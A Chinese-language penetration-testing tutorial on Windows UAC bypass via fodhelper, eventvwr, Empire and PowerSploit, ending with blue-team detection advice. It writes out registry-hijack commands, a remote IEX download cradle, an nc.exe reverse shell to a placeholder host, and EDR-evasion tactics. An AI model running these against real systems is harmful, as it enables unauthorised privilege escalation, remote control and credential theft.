1. 项目概述:深入理解UAC与Bypass-UAC
在Windows渗透测试或红队评估中,获取一个初始立足点(比如一个普通用户权限的shell)往往只是开始。真正的挑战在于权限提升,而用户账户控制(User Account Control, UAC)是横亘在普通管理员权限与完整高权限之间的一道关键防线。很多刚入行的朋友可能会混淆“管理员权限”和“高完整性权限”。简单来说,你以管理员组成员的身份登录系统,默认启动的程序(如CMD或PowerShell)运行在“中完整性”级别,很多敏感操作(如写入系统目录、修改注册表关键项)依然会被UAC拦截。只有通过UAC弹窗确认后,程序才会在“高完整性”级别运行,这才是真正意义上的“管理员权限”。
“Bypass-UAC”(UAC绕过)技术,其核心目标就是在不触发那个经典UAC弹窗、无需用户交互的情况下,将中完整性进程的权限提升至高完整性。这并非利用系统漏洞,而是滥用Windows系统本身的设计逻辑和信任机制。PowerShell-Suite,作为一个功能强大的后渗透框架集合,内置了多种成熟、可靠的Bypass-UAC方法。掌握这些技术,对于深入理解Windows安全机制、进行有效的安全评估至关重要。这篇文章,我将从一个实战者的角度,拆解如何利用PowerShell-Suite中的技术实现UAC绕过,不仅告诉你“怎么做”,更会深入分析“为什么能这么做”,并分享我在实际对抗环境中积累的一些心得和避坑指南。
2. UAC绕过核心原理与PowerShell-Suite定位
在动手之前,我们必须先搞清楚UAC绕过的底层逻辑,否则你只是在机械地执行命令,遇到变种环境就会束手无策。
2.1 UAC机制简析与完整性级别
UAC的本质是一种强制完整性控制(Mandatory Integrity Control, MIC)和用户权限分离的体现。Windows为进程、文件、注册表项等对象分配了不同的完整性级别:低、中、高、系统。默认情况下,即使你是管理员,启动的Explorer.exe及其子进程(如从开始菜单运行的CMD)也是中完整性。当程序请求提升权限时,系统会检查其清单(Manifest)或调用特定API,然后决定是否弹出UAC对话框。
关键点在于“自动提升”(AutoElevation)。为了用户体验,微软允许一部分受信任的、由微软签名的系统组件(如MMC管理单元、某些控制面板项)在从受信任的父进程(如Explorer)启动时,可以自动以高完整性运行,而无需弹窗。Bypass-UAC技术的绝大多数方法,都是围绕“欺骗或利用这些受信任的组件”来展开的。
2.2 PowerShell-Suite在Bypass-UAC中的角色
PowerShell-Suite并非一个单一工具,它泛指一系列基于PowerShell的渗透测试框架和脚本集合,例如经典的 Empire 、 PowerSploit ,以及后续的 Nishang 脚本集。在UAC绕过场景中,它们主要提供两大价值:
-
内存加载与无文件攻击
:PowerShell脚本可以通过
IEX (Invoke-Expression)或.NET方法直接从网络或内存中加载执行,避免在磁盘上留下二进制文件,规避传统杀软的静态扫描。 -
成熟的绕过模块封装
:这些框架将研究人员发现的多种UAC绕过技术(如
FodHelper、EventVwr、ComputerDefaults等)封装成了易于调用的模块。你不需要手动去写注册表、模拟进程创建链,只需要调用模块并设置监听器即可。
例如,Empire框架中的
powershell/privesc/bypassuac
和
bypassuac_fodhelper
模块,就是自动化实现了利用受信任的
fodhelper.exe
程序进行绕过的过程。理解这些模块背后的手动步骤,能让你在框架失效(如被EDR检测)时,有能力进行手动利用或变种开发。
3. 主流Bypass-UAC技术手动实现深度解析
依赖框架很方便,但知其然更要知其所以然。下面我们深入两种最常见的手动绕过技术,看看PowerShell-Suite中的模块到底帮我们做了什么。
3.1 FodHelper.exe 绕过技术剖析
Fodhelper.exe
是Windows 10/11中用于管理“可选功能”的系统程序,位于
C:\Windows\System32
下,拥有微软签名和自动提升权限的特性。其绕过原理分为几个关键步骤:
第一步:劫持注册表关联
Fodhelper.exe
在启动时会查询注册表键值
HKCU:\Software\Classes\ms-settings\shell\open\command
,以确定如何打开“ms-settings”协议。默认情况下,这个键值可能不存在或指向系统应用。关键漏洞在于,当前用户(即使是中完整性)对这个注册表路径拥有写入权限。
手动操作流程如下:
-
在中完整性的PowerShell或CMD中,创建上述注册表结构。
这里,# 创建必要的注册表项和键值 New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force # 将默认值设置为我们要执行的命令,例如启动高完整性CMD Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "cmd.exe /c start cmd.exe" -Force(default)值就是fodhelper.exe会去执行的命令。DelegateExecute键值的存在是为了兼容性,置空即可。
第二步:触发自动提升进程
执行
fodhelper.exe
。由于它是受信任的自动提升程序,系统会允许它直接以高完整性运行。
powershell Start-Process "C:\Windows\System32\fodhelper.exe"
fodhelper.exe
启动后,会按照注册表关联,去执行我们设置的命令
cmd.exe /c start cmd.exe
。关键在于,这个命令是由高完整性的
fodhelper.exe
进程创建的,因此新启动的
cmd.exe
也继承了高完整性权限。
第三步:清理痕迹
操作完成后,应立即删除创建的注册表项,避免留下明显痕迹。
powershell Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
实操心得与避坑点 :
- 命令的路径问题 :在
(default)值中指定的命令,最好使用绝对路径。因为高完整性进程的当前工作目录和环境变量可能与中完整性环境不同,使用相对路径或依赖PATH变量可能导致命令找不到。- 进程树与父进程 :有些高级安全产品会检查进程的父进程。
fodhelper.exe作为父进程启动我们的命令是一个正常模式,但如果你在命令中启动了另一个脚本或工具,需要注意其进程树是否显得可疑。- 绕过Windows Defender :在较新版本的Windows Defender中,这种直接修改注册表并启动
fodhelper.exe的行为可能会被检测为Trojan:Win32/Casdet!rfn或类似威胁。手动操作时,成功率会受到实时防护状态的影响。框架模块有时会加入额外的混淆或延迟执行以规避检测。
3.2 EventVwr.exe(事件查看器)绕过技术解析
这是另一个历史悠久的经典方法,利用了
EventVwr.exe
(事件查看器)加载MMC管理单元时的逻辑缺陷。
原理简述
:
EventVwr.exe
在启动时,会尝试加载一个管理单元配置文件
eventvwr.msc
。该文件实际上是一个XML格式的MMC控制台文件。系统在解析这个文件时,会去注册表中查找对应的管理单元CLSID。关键在于,它首先会检查
HKCU
(当前用户)注册表路径下的配置。我们可以在此路径下伪造一个管理单元配置,将其指向我们想要执行的恶意脚本或程序。
手动步骤 :
-
准备恶意MSI/MSC或脚本
:通常,这种方法会利用
.msc文件或通过mmc.exe加载自定义管理单元。一种更隐蔽的方式是利用msxsl.exe(微软官方命令行XSL转换工具)或pubprn.vbs等脚本引擎的信任关系。但核心思路不变:在HKCU下创建一个注册表项,将某个CLSID或协议处理程序关联到我们的恶意命令。 -
修改注册表
:例如,早期的一种方法是滥用
HKCU\Software\Classes\mscfile\shell\open\command的(default)值。但更常见的是利用HKCU\Environment下的windir或pathext等环境变量注册表键进行劫持,因为eventvwr.exe在提升权限时会读取这些环境变量。 -
执行与清理
:运行
eventvwr.exe,它会以高完整性启动并加载我们的恶意配置,从而执行高完整性命令。完成后同样需要清理注册表。
注意事项 :
- 系统版本差异 :
EventVwr绕过法在Windows 10早期版本和Windows 7/8上非常有效,但在较新的Windows 10/11版本中,微软可能已经修补了部分利用链。实际测试中,FodHelper方法通常更可靠。- 依赖文件 :某些利用链可能需要将恶意文件(如
.dll或.xsl)写入磁盘,这增加了被检测的风险。纯注册表操作的无文件方式更为理想。
4. 利用PowerShell-Suite框架进行自动化绕过实战
理解了手动原理,我们再来看如何用框架高效、隐蔽地完成这项工作。这里以
Empire
和
PowerSploit
中的
Invoke-BypassUAC
为例。
4.1 使用Empire框架的Bypass-UAC模块
Empire(现已演进为 BC-SECURITY Empire )是一个经典的后期渗透框架。其UAC绕过模块高度自动化。
实战步骤分解 :
-
环境搭建与监听器设置 : 首先启动Empire服务端和客户端。创建一个HTTP或HTTPS监听器(
listeners),设置好回连的IP和端口。这部分是Empire的基础操作,关键在于监听器的Host字段通常需要设置为攻击机IP,如果是在NAT后或使用域名,需要正确配置。 -
生成Stager并获取初始Agent : 使用
usestager windows/launcher_bat或launcher_ps1生成一个PowerShell载荷,将其与监听器关联。在目标机器(已获取中完整性shell)上执行这个载荷,从而在Empire中得到一个初始的Agent(中完整性)。 -
搜索并执行Bypass-UAC模块 : 与你的Agent交互后,使用
usemodule powershell/privesc/bypassuac命令。此时,Empire会列出所有可用的UAC绕过模块,例如:-
bypassuac_eventvwr -
bypassuac_fodhelper -
bypassuac_sluihijack(用于特定场景) 我个人的经验是,bypassuac_fodhelper的成功率在较新系统上相对更高,应作为首选。
(Empire: agent) > usemodule powershell/privesc/bypassuac_fodhelper (Empire: powershell/privesc/bypassuac_fodhelper) > set Listener YourHttpListener (Empire: powershell/privesc/bypassuac_fodhelper) > execute -
-
接收高完整性Agent : 模块执行后,它会尝试利用
fodhelper.exe技术,生成一个新的、高完整性的PowerShell进程,并回连到你的监听器。在Empire的agents列表中,这个新Agent的Username旁会显示一个*号,表示其具有高完整性权限。 -
后续操作与提权 : 获得高完整性Agent后,你便可以执行需要特权的操作,例如:
-
使用
credentials/mimikatz/logonpasswords模块抓取哈希和明文密码。 -
使用
powershell/situational_awareness/network/powerview进行域内枚举。 -
通过
shell命令派生一个标准的CMD或PowerShell高权限会话,方便进行文件操作等。
-
使用
框架使用避坑指南 :
- 模块执行无回显 :在Empire中执行模块(尤其是
bypassuac)后,客户端可能看似“卡住”或无输出。这通常是正常的,因为它在后台执行利用链。不要频繁重复执行,耐心等待几十秒,然后输入agents命令查看是否有新的高完整性Agent出现。- 杀软与EDR :Empire的流量特征和模块代码已被主流安全产品广泛识别。在装有下一代杀毒软件或EDR的环境中,直接使用默认模块和监听器很可能被阻断。务必进行代码混淆、流量加密(使用HTTPS监听器),并考虑使用“休眠”(
sleep)和“抖动”(jitter)参数来模拟正常流量。- 系统架构兼容性 :确保使用的模块与目标系统架构(x86/x64)匹配。在64位系统上,如果初始Agent是32位的PowerShell,某些绕过操作可能会失败。尝试使用
sysinfo模块检查架构,必要时使用psinject模块将Payload注入到64位进程中。
4.2 使用PowerSploit的Invoke-BypassUAC脚本
PowerSploit是一个独立的PowerShell渗透测试工具包。其中的
Invoke-BypassUAC
脚本提供了另一种直接的方式。
操作流程 :
-
下载并导入模块
:在攻击机上,将
Invoke-BypassUAC.ps1脚本托管在Web服务器上。在目标的中完整性PowerShell会话中,使用IEX远程加载。IEX (New-Object Net.WebClient).DownloadString('http://YourIP/PowerSploit/Privesc/Invoke-BypassUAC.ps1') -
执行绕过
:该脚本通常需要指定一个要提升权限的程序路径。最直接的方式是启动一个高完整性的PowerShell。
或者,你可以让它直接执行一个反向Shell命令:Invoke-BypassUAC -Command "powershell.exe -NoP -NonI -W Hidden -Exec Bypass"
执行后,如果成功,你将在指定的监听端口收到一个高完整性的shell。Invoke-BypassUAC -Command "C:\temp\nc.exe -e cmd.exe YourIP 4444"
与Empire模块的对比 :
| 特性 | Empire BypassUAC模块 | PowerSploit Invoke-BypassUAC |
|---|---|---|
| 集成度 | 高,与监听器、Agent管理无缝集成 | 低,独立脚本,需自行处理回连 |
| 隐蔽性 | 中等,可通过模块选项进行一定混淆 | 较低,执行行为相对固定 |
| 功能多样性 | 高,提供多种绕过方法(fodhelper, eventvwr等) | 通常只实现1-2种核心方法 |
| 适用场景 | 红队协作、长期控制、模块化操作 | 快速测试、一次性提权、学习原理 |
个人经验 :在真实对抗中,我倾向于使用Empire或Cobalt Strike这类框架,因为它们提供了更完整的生命周期管理。但如果只是进行一次性快速测试,或者目标环境对框架流量检测严格,手动执行一个精简的
Invoke-BypassUAC变种脚本可能更快捷、更隐蔽。
5. 高级技巧、检测规避与疑难排查
掌握了基本方法后,要想在更严格的环境中成功,还需要一些进阶技巧。
5.1 绕过技术的变种与组合
安全产品在不断更新签名和检测逻辑,因此不能总依赖公开的、一成不变的方法。
-
替代可信程序
:除了
fodhelper.exe和eventvwr.exe,还有其他具有自动提升属性的二进制文件可供研究,例如computerdefaults.exe、sdclt.exe(备份与还原)、slui.exe(Windows激活)。研究它们的启动参数和注册表依赖,可以发掘新的绕过路径。 -
COM接口滥用
:一些绕过技术利用COM(Component Object Model)接口和提升权限的COM对象。例如,通过调用
ICMLuaUtil接口的ShellExec方法。这类方法通常需要更复杂的代码,但往往能绕过基于进程树和注册表监控的检测。 - DLL劫持与搜索顺序劫持 :寻找那些以高完整性运行、但加载DLL时存在不安全搜索路径的系统进程。将恶意DLL放置在比合法路径更优先的位置,当进程启动时便会加载我们的DLL。这种方法对路径和环境要求苛刻,但极具隐蔽性。
5.2 对抗安全软件(AV/EDR)的要点
现代端点安全产品不仅看签名,还进行行为分析。
-
无文件化
:尽可能使用PowerShell内存加载(IEX)技术,避免在磁盘上写入
exe、dll或ps1文件。所有操作在内存中完成。 -
混淆与编码
:对PowerShell脚本进行混淆处理,可以绕过基于字符串匹配的静态检测。可以使用
Invoke-Obfuscation等工具对脚本进行混淆。但要注意,过于复杂的混淆本身可能成为行为检测的异常点。 -
间接执行与父进程欺骗
:不要直接从中完整性CMD调用
powershell.exe去执行绕过脚本。可以尝试通过msiexec、regsvr32、rundll32甚至wmic等合法系统程序作为父进程来启动PowerShell,打破常见的攻击链模式。 -
注册表操作伪装
:直接写入
HKCU\Software\Classes\ms-settings这样的敏感路径容易被监控。可以尝试使用更隐蔽的注册表位置,或者通过调用合法的Windows API函数来间接修改配置。 - 时间延迟与操作拆分 :将注册表修改、触发程序执行、清理痕迹等步骤分开,中间加入随机延迟,模拟用户正常操作节奏,避免短时间内产生大量敏感操作日志。
5.3 常见问题排查实录
在实际操作中,你可能会遇到各种问题。下面是一个速查表:
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| 执行Bypass模块后无新Agent |
1. 利用失败,未提权成功。
2. 提权成功但回连失败。 3. 杀软拦截了Payload或网络连接。 |
1. 检查目标系统版本,尝试其他绕过模块(如换
eventvwr
)。
2. 在目标机手动执行
whoami /groups
查看是否出现
HIGH MANDATORY LEVEL
。如果已提权,检查防火墙、网络策略或监听器配置。
3. 查看安全软件日志,尝试使用更混淆的Stager或HTTPS监听器。 |
| 新Agent出现后很快失联 |
1. 高完整性进程被安全软件终止。
2. 网络不稳定或监听器异常。 |
1. 尝试注入到稳定的系统进程(如
lsass.exe
不建议,易崩溃;可考虑
explorer.exe
)。使用
psinject
模块。
2. 检查攻击机网络,尝试使用更稳定的传输协议(如DNS、HTTPS)。 |
| 手动修改注册表后,fodhelper启动无反应或报错 |
1. 注册表路径或键值名称错误。
2. 命令字符串格式错误或路径无效。 3. 系统策略限制或安全软件实时防护。 |
1. 使用
reg query
命令仔细核对创建的注册表路径和键值。
2. 确保命令使用绝对路径,并在测试时先用
calc.exe
等无害程序验证。
3. 暂时关闭实时防护测试(仅限测试环境),或尝试在安全软件排除目录中操作。 |
| Empire模块显示执行成功,但未提权 |
1. 模块的默认利用方式在当前系统失效。
2. Agent会话上下文问题(如32位vs64位)。 |
1. 查阅Empire模块的源代码,了解其具体利用方式,尝试手动执行关键步骤进行调试。
2. 使用
sysinfo
确认架构,尝试迁移到64位进程后再执行Bypass。
|
| 触发UAC弹窗 | 技术失败,当前方法不适用于此系统或配置。 |
1. 确认当前用户确实是本地管理员组成员。
2. 检查UAC设置是否为“从不通知”(最高级别),某些方法在最高级别下会失效。 3. 尝试完全不同的绕过技术,如内核漏洞提权(如PrintNightmare)或服务权限滥用。 |
6. 防御视角:如何发现和缓解UAC绕过攻击
作为一名安全从业者,了解攻击是为了更好的防御。从蓝队角度看,如何检测和防范这类攻击?
-
启用增强的审计策略 :
-
启用
审核注册表策略,特别关注HKCU\Software\Classes\下异常键值的创建和修改,尤其是ms-settings、mscfile等与已知绕过技术相关的路径。 -
启用
审核进程创建,并配置SACL(系统访问控制列表)来记录所有进程创建事件。重点关注由fodhelper.exe、eventvwr.exe、computerdefaults.exe等可信父进程创建的异常子进程(如cmd.exe、powershell.exe)。
-
启用
-
部署高级端点检测与响应(EDR) :
-
EDR工具可以分析进程行为链。一个由
fodhelper.exe启动的powershell.exe,紧接着进行网络连接或敏感注册表操作,这是一个高可疑的告警点。 - 监控PowerShell的脚本块日志(Script Block Logging)和模块日志(Module Logging),捕获内存中执行的恶意代码片段。
-
EDR工具可以分析进程行为链。一个由
-
应用限制性策略 :
- 对于非必要用户,将其从本地管理员组中移除。这是最根本的缓解措施,因为UAC绕过前提是用户已是管理员。
- 通过AppLocker或Windows Defender应用程序控制(WDAC)策略,限制只有授权签名的脚本和二进制文件才能运行。可以阻止非签名的PowerShell脚本执行。
- 将UAC设置调整为“始终通知”(最高级别),这虽然影响用户体验,但能阻断所有不显示提示的自动提升请求,使得大多数绕过技术失效(因为最终仍需点击)。
-
定期更新与漏洞管理 :
-
保持操作系统和应用最新。微软会通过安全更新修补已知的UAC绕过技术(例如,针对
fodhelper的某些利用方式已有补丁)。 - 关注CVE公告,及时评估和修复相关的本地权限提升漏洞。
-
保持操作系统和应用最新。微软会通过安全更新修补已知的UAC绕过技术(例如,针对
UAC绕过是Windows权限提升中一个持久且不断演变的领域。它深刻体现了安全中“信任边界”的复杂性。对于攻击方,深入理解系统机制,能够灵活组合运用各种技术,并在对抗中不断进化手法,是成功的关键。对于防御方,则需采取纵深防御策略,结合日志审计、行为监控和最小权限原则,才能有效应对这类“生活在陆地之上”的威胁。我的经验是,没有任何一种单一技术是银弹,实战中往往需要根据目标环境的具体配置(系统版本、已安装补丁、安全软件、组策略)进行快速判断和测试,从最通用的方法开始尝试,并随时准备好备用方案。

被折叠的 条评论
为什么被折叠?



